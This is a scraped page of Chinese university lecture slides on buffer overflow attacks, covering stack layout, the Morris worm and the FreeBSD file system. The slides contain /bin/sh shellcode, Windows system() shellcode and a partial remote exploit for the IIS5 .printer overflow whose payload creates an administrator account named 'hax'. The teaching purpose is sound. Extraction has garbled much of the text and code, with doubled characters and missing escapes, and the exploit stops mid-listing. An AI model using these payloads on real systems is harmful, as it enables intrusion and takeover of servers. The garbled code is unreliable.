网络安全5-缓冲区溢出攻击_第1页
网络安全5-缓冲区溢出攻击_第2页
网络安全5-缓冲区溢出攻击_第3页
网络安全5-缓冲区溢出攻击_第4页
网络安全5-缓冲区溢出攻击_第5页
已阅读5页,还剩45页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、网络安全罗罗 敏敏 武汉大学计算机学院武汉大学计算机学院2第第4章章 拒绝服务攻击拒绝服务攻击 重点回顾重点回顾l拒绝服务攻击概述l拒绝服务攻击分类l服务端口攻击l电子邮件轰炸l分布式拒绝服务攻击DDoS3第第5章章 缓冲区溢出攻击缓冲区溢出攻击l本章介绍缓冲区溢出攻击的原理,通过具体实例分析攻击UNIX系统和攻击WINDOWS系统的特点和方法。 4第第5章章 缓冲区溢出攻击缓冲区溢出攻击l5.1 缓冲区溢出攻击的原理l5.2 缓冲区溢出程序的原理及要素l5.3 攻击UNIXl5.4 攻击WINDOWS5 缓冲区溢出攻击的原理缓冲区溢出攻击的原理l定义l缓冲区溢出攻击是一种通过往程序的缓冲区写

2、超出其长度的内容,造成缓冲区溢出,从而破坏程序的堆栈,使程序转而执行其他预设指令,以达到攻击目的的攻击方法 第第5 5章章 第第1 1节节6 缓冲区溢出攻击的原理缓冲区溢出攻击的原理lMorrisl1988年,美国康奈尔大学的计算机科学系研究生、23岁的莫里斯利用Unix fingered程序不限制输入长度的漏洞,输入512个字符后使缓冲器溢出,同时编写一段特别大的恶意程序能以root(根)身份执行,并感染到其他机器上。它造成全世界6000多台网络服务器瘫痪 第第5 5章章 第第1 1节节7 缓冲区溢出程序原理及要素缓冲区溢出程序原理及要素l缓冲区溢出程序的原理 l众所周知,C语言不进行数组的

3、边界检查 l在许多C语言实现的应用程序中,都假定缓冲区的长度是足够的,即它的长度肯定大于要拷贝的字符串的长度 事实并非如此事实并非如此第第5 5章章 第第2 2节节8 缓冲区溢出程序原理及要素缓冲区溢出程序原理及要素l缓冲区溢出程序的原理 程 序 段 数 据 段堆 栈第第5 5章章 第第2 2节节9 缓冲区溢出程序原理及要素缓冲区溢出程序原理及要素l缓冲区溢出程序的原理l例 1 void proc(int i) int local;local=i;void main()proc(1);main:push1call procproc:pushebpmovebp,espsubesp,4moveax

4、,ebp+08movebp-4,eaxaddesp,4popebpret4第第5 5章章 第第2 2节节10 缓冲区溢出程序原理及要素缓冲区溢出程序原理及要素l缓冲区溢出程序的原理l例 2void function(char void function(char * *str)str) char buffer16; char buffer16; strcpy(buffer,str); strcpy(buffer,str); void main()void main() int t; int t; char buffer128; char buffer128; for(i=0;i127;i+)

5、for(i=0;i127;i+) bufferi=A bufferi=A; buffer127=0;buffer127=0; function(buffer); function(buffer); printf(This is a testn); printf(This is a testn); 第第5 5章章 第第2 2节节11 缓冲区溢出程序原理及要素缓冲区溢出程序原理及要素l缓冲区溢出程序的原理l例 2压入堆栈中传递的参数返回地址少量存储单元Buffer 16字节空间A A0 x41414141.16个A第第5 5章章 第第2 2节节12 缓冲区溢出程序原理及要素缓冲区溢出程序原理及要素

6、l为了执行一段精心准备的程序,需要4个步骤l准备一段SHELLCODEl申请一个缓冲区,并将机器码填入缓冲区的低端l估算机器码在堆栈中的起始位置,并将这个位置写入缓冲区的高端l将这个缓冲区作为系统一个有着缓冲区溢出错误的程序的一个入口参数,并执行这个有错误的程序 第第5 5章章 第第2 2节节13 缓冲区溢出程序原理及要素缓冲区溢出程序原理及要素l关键技术l在程序的地址空间安排适当的代码 l将控制程序转移到攻击代码的方式lFunction Pointers lActivation Records lLongjmp buffers l植入码和流程控制 l可执行的地址空间l代码段/数据段/堆栈段l

7、JVM第第5 5章章 第第2 2节节14 攻击攻击UNIXlUNIX操作系统简介 lFreeBSD文件系统的路径组织结构 / 根文件系统,用于存储系统内核,启动管理和其他文件系统的装载点。/bin 系统启动时需要的一些通用可执行程序。/cdrom 光盘驱动器的装载点。/compat 与系统兼容有关的内容,如系统模拟等。/dev 设备入口点。在UNIX系统上,每个设备都作为一个文件来看待,这里放着所有系统能够用到的各个设备/etc 各种配置文件。非常重要的一个目录,所有的配置文件(可以看成是WINDOWS的注册表)包括用户密码文档等存放在这里/mnt 软盘等其他文件系统的装载点。/modules

8、 内核可装载模块。第第5 5章章 第第3 3节节15 攻击攻击UNIXlUNIX操作系统简介 l文件系统的路径组织结构/proc 进程文件系统,存储指向当前活动进程的虚拟内存的伪文件。/root root用户的工作目录。/sbin 系统可执行文件。/stand 独立执行的程序,sysinstall就在这个目录下。在安装配置系统时用到/usr 第二个文件系统。基本上是和系统核心无关但又属于操作系统的一部分的一个目录,大多数的应用程序,还有各用户的私有资料存放在这个子系统/usr/bin 与系统启动无关的标准应用程序。/usr/sbin 系统启动时不需要使用的一些系统管理程序。 /usr/game

9、s 游戏。/usr/home 用户目录。存放各个用户自己的文件。第第5 5章章 第第3 3节节16 攻击攻击UNIXlUNIX操作系统简介 l文件系统的路径组织结构/usr/include 程序需要的头文件。/usr/lib 程序需要的库文件。/usr/libexec 一些不由用户直接运行的执行程序,如ftpd telnetd 等服务程序 /usr/man 帮助文件 /usr/X11R6 X-Windows系统/usr/X11R6/bin 可执行的X-Windows程序/usr/X11R6/include X-Windows程序的头文件。/usr/X11R6/lib X-Windows程序的库

10、文件。/usr/X11R6/man X-Windows程序的帮助文件。第第5 5章章 第第3 3节节17 攻击攻击UNIXlUNIX操作系统简介 l文件系统的路径组织结构/usr/share 各种共享的只读文件,大多数是一些系统信息,文档,包括有FreeBSD手册等。/usr/local 第三个子文件系统,不属于FreeBSD一部分的其他程序。 /var 存储经常发生变化的文件,如邮件,日志等。/var/log 系统日志。/var/mail 发给用户的信件。/var/spool 缓冲数据,如打印数据等。/var/tmp 临时文件。第第5 5章章 第第3 3节节18 攻击攻击UNIXlUNIX操

11、作系统简介 lUNIX系统的文件属性和存取权限 #ls -la# -rw-rw-rw- 1 root wheel 170 jan 7 19:46 mnk# -rw-r- 1 root wheel 18204 jan 8 20:34 nmap.tar.gz# -rwxr-xr- 1 candy user 1204 may 23 13:00 mysh.sh# drwx- 2 netdemon user 512 may 23 14:23 mydoc|-1-|-2-|-3-|-4-|-5-|-6-|-7-|文件属性/文件数量/所有者/所属组/文件大小/文件修改时间/文件名第第5 5章章 第第3 3节节

12、19 攻击攻击UNIXlUNIX操作系统简介 l核与Shell的交互 l启动l登录l执行命令l退出第第5 5章章 第第3 3节节20 攻击攻击UNIXlUNIX操作系统简介 lShell的功能和特点 l命令行解释l使用保留字l使用Shell元字符(通配符)l可处理程序命令l使用输入输出重定向和管道l维护变量l运行环境控制l支持Shell编程第第5 5章章 第第3 3节节21 攻击攻击UNIXl攻击UNIX实例分析 lShell Code 的编写 void main() char *name2;name0 = /bin/sh;name1 = NULL;execve(name0, name, NU

13、LL);第第5 5章章 第第3 3节节22Dump of assembler code for function main:0 x8000130 : pushl %ebp0 x8000131 :movl %esp,%ebp0 x8000133 : subl $0 x8,%esp0 x8000136 : movl $0 x80027b8,0 xfffffff8(%ebp)0 x800013d : movl $0 x0,0 xfffffffc(%ebp)0 x8000144 : pushl $0 x00 x8000146 : leal 0 xfffffff8(%ebp),%eax0 x800014

14、9 : pushl %eax0 x800014a : movl 0 xfffffff8(%ebp),%eax0 x800014d : pushl %eax0 x800014e : call 0 x80002bc 0 x8000153 : addl $0 xc,%esp0 x8000156 : movl %ebp,%esp0 x8000158 : popl %ebp0 x8000159 : ret第第5 5章章 第第3 3节节23Dump of assembler code for function _execve:0 x80002bc : pushl %ebp0 x80002bd : movl

15、 %esp,%ebp0 x80002bf : pushl %ebx0 x80002c0 : movl $0 xb,%eax0 x80002c5 : movl 0 x8(%ebp),%ebx0 x80002c8 : movl 0 xc(%ebp),%ecx0 x80002cb : movl 0 x10(%ebp),%edx0 x80002ce : int $0 x800 x80002d0 : movl %eax,%edx0 x80002d2 : testl %edx,%edx0 x80002d4 : jnl 0 x80002e6 第第5 5章章 第第3 3节节240 x80002d6 : neg

16、l %edx0 x80002d8 : pushl %edx0 x80002d9 : call 0 x8001a34 0 x80002de : popl %edx0 x80002df : movl %edx,(%eax)0 x80002e1 : movl $0 xffffffff,%eax0 x80002e6 : popl %ebx0 x80002e7 : movl %ebp,%esp0 x80002e9 : popl %ebp0 x80002ea : ret0 x80002eb : nop第第5 5章章 第第3 3节节25 攻击攻击UNIXl攻击UNIX实例分析 lShell Code 的编写

17、 l汇编语言程序leal string,string_addrmovl $0 x0,null_addrmovl $0 xb,%eaxmovl string_addr,%ebxleal string_addr,%ecxleal null_string,%edxint $0 x80stringdb/bin/sh,0string_addrdd0null_addrdd0第第5 5章章 第第3 3节节26 攻击攻击UNIXl攻击UNIX实例分析 lShell Code 的编写 l汇编语言程序l相对偏移jmp 0 x20popl esimovb $0 x0,0 x7(%esi)movl %esi,0 x8

18、(%esi)movl $0 x0,0 xC(%esi)movl $0 xb,%eaxmovl %esi,%ebxleal 0 x8(%esi),%ecxleal 0 xC(%esi),%edxint $0 x80call -0 x25string db /bin/sh,0 string_addr dd 0null_addr dd 0 第第5 5章章 第第3 3节节27 攻击攻击UNIXl攻击UNIX实例分析 lShell Code 的编写 l汇编语言程序l相对偏移 l消除0void main() _asm_(jmp 0 x18/ # 2 bytespopl %esi/ # 1 bytemovl

19、 %esi,0 x8(%esi)/ # 3 bytesxorl %eax,%eax/ # 2 bytesmovb %eax,0 x7(%esi)/ # 3 bytesmovl %eax,0 xc(%esi)/ # 3 bytesmovb $0 xb,%al/ # 2 bytesmovl %esi,%ebx/ # 2 bytesleal 0 x8(%esi),%ecx/ # 3 bytesleal 0 xc(%esi),%edx/ # 3 bytesint$0 x80/ # 2 bytescall -0 x2d/ # 5 bytesstring /bin/sh/ # 8 bytes);第第5 5

20、章章 第第3 3节节28 攻击攻击UNIXl攻击UNIX实例分析 lShell Code 的编写 l汇编语言程序l相对偏移 l消除0l机器代码xebx18x5ex89x76x08x31xc0 x88x46x07x89x46x0cxb0 x0bx89xf3x8dx4ex08x8dx56x0cxcdx80 xe8xecxffxffxff/bin/sh第第5 5章章 第第3 3节节29 攻击攻击UNIXl攻击UNIX实例分析 lShell Code 的编写 l汇编语言程序l相对偏移 l消除0l机器代码l攻击程序第第5 5章章 第第3 3节节30char shellcode =xebx18x5ex89

21、x76x08x31xc0 x88x46x07x89x46x0cxb0 x0bx89xf3x8dx4ex08x8dx56x0cxcdx80 xe8xecxffxffxff/bin/sh;char large_string128;void main()char buffer96;int i;long *long_ptr = (long *) large_string; /* long_ptr指向指向largestring的起始地址的起始地址 */for(i=0;i32;i+) *(long_ptr+i)=(int)buffer; /* 用用buffer的地址填充的地址填充long_ptr */fo

22、r(i=0;istrlen(shellcode);i+) large_stringi=shellcodei; /* 将将ShellCode放在放在large_string*/strcpy(buffer,large_string); 第第5 5章章 第第3 3节节31 攻击攻击UNIXl攻击UNIX实例分析 lShell Code 的编写 l汇编语言程序l相对偏移 l消除0l机器代码l攻击程序lNOP填充/尝试地址第第5 5章章 第第3 3节节32 攻击攻击WINDOWSl与UNIX的不同lWINDOWS系统的用户进程空间是0-2G,操作系统所占的空间为2-4Gl用户进程的加载位置为:0 x00

23、400000l这个进程的所有指令地址,数据地址和堆栈指针都会含有0,那么我们的返回地址就必然含有0第第5 5章章 第第4 4节节33 攻击攻击WINDOWSl与UNIX的不同lShellcode 的模式lNNNNSSSSAAAAAA lNNNNAAAAAASSSS第第5 5章章 第第4 4节节34 攻击攻击WINDOWSl攻击WINDOWS实例分析l编写Shellcode#include#includetypedef void (*MYPROC)(LPSTR);int main() HINSTANCE LibHandle; MYPROC ProcAdd; Char dllbuf11=”msvc

24、rt.dll”; Char sysbuf7=”system”; Char cmdbuf16=”; LibHandle=LoadLibrary(dllbuf); ProcAdd=(MYPROC)GetProcAddess(Libhandle,sysbuf); (PocAdd)(cmdbuf); return 0;第第5 5章章 第第4 4节节35 攻击攻击WINDOWSl攻击WINDOWS实例分析l编写Shellcodel汇编程序第第5 5章章 第第4 4节节36#include #include void main(void)LoadLibrary(msvcrt.dll);_asmmov es

25、p, ebp/* 把把ebp的内容赋值给的内容赋值给esp */push ebp/* 保存保存ebp,esp-4 */mov ebp, esp/* 给给ebp赋新值赋新值,作为局部变量的基指针作为局部变量的基指针 */xor edi, edipush edi/* 压入压入0,esp-4作用是构造字符串的结尾作用是构造字符串的结尾0字字符。符。*/sub esp, 08h/* 加上上面加上上面,共有共有12个字节个字节,用来存放用来存放 */mov byte ptrebp - 0ch, 63hmov byte ptrebp - 0bh, 6fh第第5 5章章 第第4 4节节37mov byte

26、ptrebp - 0ah, 6dhmov byte ptrebp - 09h, 6Dhmov byte ptrebp - 08h, 61hmov byte ptrebp - 07h, 6ehmov byte ptrebp - 06h, 64hmov byte ptrebp - 05h, 2Ehmov byte ptrebp - 04h, 63hmov byte ptrebp - 03h, 6fhmov byte ptrebp - 02h, 6dh/* 生成串生成串 */lea eax, ebp - 0chpush eax/* 串地址作为参数入栈串地址作为参数入栈 */mov eax, 0 x7

27、8019824call eax/* 调用调用system */第第5 5章章 第第4 4节节38 攻击攻击WINDOWSl攻击WINDOWS实例分析l编写Shellcodel汇编程序l机器代码第第5 5章章 第第4 4节节39char shellcode=0 x8B,0 xEC,/* mov esp,ebp */0 x55,/* push ebp */0 x8B,0 xEC,0 x0C,/* sub esp,0000000C */0 xB8,0 x63,0 x6F,0 x6d,/* mov eax,6D6D6F63 */ 0 x89,0 x45,0 xF4,/* mov dword ptreb

28、p-0C,eax */0 xB8,0 x61,0 x6E,0 x64,0 x2E,/* mov eax,2E646E61 */0 x89,0 x45,0 xF8,/*mov dword ptrebp-08,eax */0 xB8,0 x63,0 x6F,0 x6D,0 x22,/* mov eax,226D6F63 */0 x89,0 x45,0 xFC,/* mov dword ptrebp-04,eax */0 x33,0 xD2,/* xor edx,edx */0 x88,0 x55,0 xFF,/* mov byte ptrebp-01,dl */0 x8D,0 x45,0 xF4,

29、/* lea eax,dword ptrebp-0C */0 x50,/* push eax */0 xB8,0 x24,0 x98,0 x01,0 x78,/* mov eax,78019824 */oxFF,0 xD0/* call eax */; 第第5 5章章 第第4 4节节40 攻击攻击WINDOWSl攻击WINDOWS实例分析l编写Shellcodel汇编程序l机器代码l攻击lWINDOWS 2000 IIS 5 lISAPI msw3prt.dll l攻击程序第第5 5章章 第第4 4节节41#include #include #include #include #include

30、 void usage(void)printf(ncniis-IIS5 Chinese version.printer remote exploitn);printf(Usage:cniisn);exit(1);第第5 5章章 第第4 4节节42main(int argc, char *argv)/* 这段Shellcode所做的就是把net user hax hax/add&net localgroup Administrators hax/add压入堆栈, 然后调用system()来执行上面的命令, 即增添一个管理员帐号hax */unsigned charshellcode = x55x

31、53x8BxECx33xDBx53x83xECx3CxB8x6Ex65x74x20 x89x45xC3xB8x75x73x65x72x89x45xC7xB8x20 x68x61x78x89x45xCBx89x45xCFxB8x20 x2Fx61x64x89x45xD3xB8x64x26x6Ex65x89x45xD7xB8x74x20 x6Cx6Fx89x45xDBxB8x63x61x6Cx67x89x45xDFxB8x72x6Fx75x70 x89x45xE3xB8x20 x41x64x6Dx89x45xE7xB8x69x6Ex69x73x89x45xEBxB8x74x72x61x74x89x

32、45xEFxB8x6Fx72x73x20 x89x45xF3xB8x68x61x78x20 x89x45xF7xB8x2F61x64x64x89x45xFBx8Dx45xC3x50 xB8xADxAAx01x78xFFxD0 x8BxE5x5Bx5Dx03x03x03;第第5 5章章 第第4 4节节43charrequest = GET/NULL.printer HTTP/1.0;charsploit857;char*finger;inti, X, sock;unsigned shortserverport = htons(80);struct hostent*nametocheck;stru

33、ct sockaddr_inserv_addr;struct in_addrattack;WORDwerd;WSADATAwsd;第第5 5章章 第第4 4节节44werd = MAKEWORD(2, 0);WSAStartup(werd, &wsd);if(argc h_addr_list0, 4);memcpy(sploit, request, 26);finger = &sploit26;*(finger+) = 0 x0d;*(finger+) = 0 x0a;*(finger+) = H;*(finger+) = o;*(finger+) = s;*(finger+) = t;*(finger+) = :;*(finger+) = ;第第5 5章章 第第4 4节节45/* 溢出串放在Host:后面 */for(i = 0; i 268; i+) *(finger+) = (char) 0 x90;*(finger+) = (char) 0 x2a;*(finger+) = (char) 0 xe3;*(finger+) = (char) 0 xe2;*(finger+) = (char) 0 x77;/* 这里就User32.dll(5.0.2180.1)中jmp es

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论